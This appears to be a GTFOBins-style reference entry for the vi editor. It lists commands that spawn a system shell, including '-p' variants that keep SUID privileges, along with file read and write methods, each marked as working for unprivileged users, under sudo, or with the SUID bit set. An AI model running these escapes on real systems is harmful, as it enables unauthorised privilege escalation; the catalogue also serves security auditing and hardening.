Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    vi -c ':!/bin/sh' /dev/null
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    vi -c ':!/bin/sh' /dev/null
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    vi -c ':!/bin/sh' /dev/null
  2. This function can be performed by any unprivileged user.
    vi -c ':shell'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    vi -c ':shell'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
    vi -c ':shell'
  3. This function can be performed by any unprivileged user.
    vi -c ':set shell=/bin/sh | shell'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    vi -c ':set shell=/bin/sh | shell'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
    vi -c ':set shell=/bin/sh\ -p | shell'
  4. This function can be performed by any unprivileged user.
    vi -c :terminal /bin/sh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    vi -c :terminal /bin/sh
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
    vi -c ':terminal /bin/sh -p'

File write

This executable can write data to local files.
  1. CommentWhere ^[ is the escape key.
    This function can be performed by any unprivileged user.
    vi /path/to/output-file
    iDATA
    ^[
    w
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    vi /path/to/output-file
    iDATA
    ^[
    w
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    vi /path/to/output-file
    iDATA
    ^[
    w

File read

This executable can read data from local files.
  1. This function can be performed by any unprivileged user.
    vi /path/to/input-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    vi /path/to/input-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    vi /path/to/input-file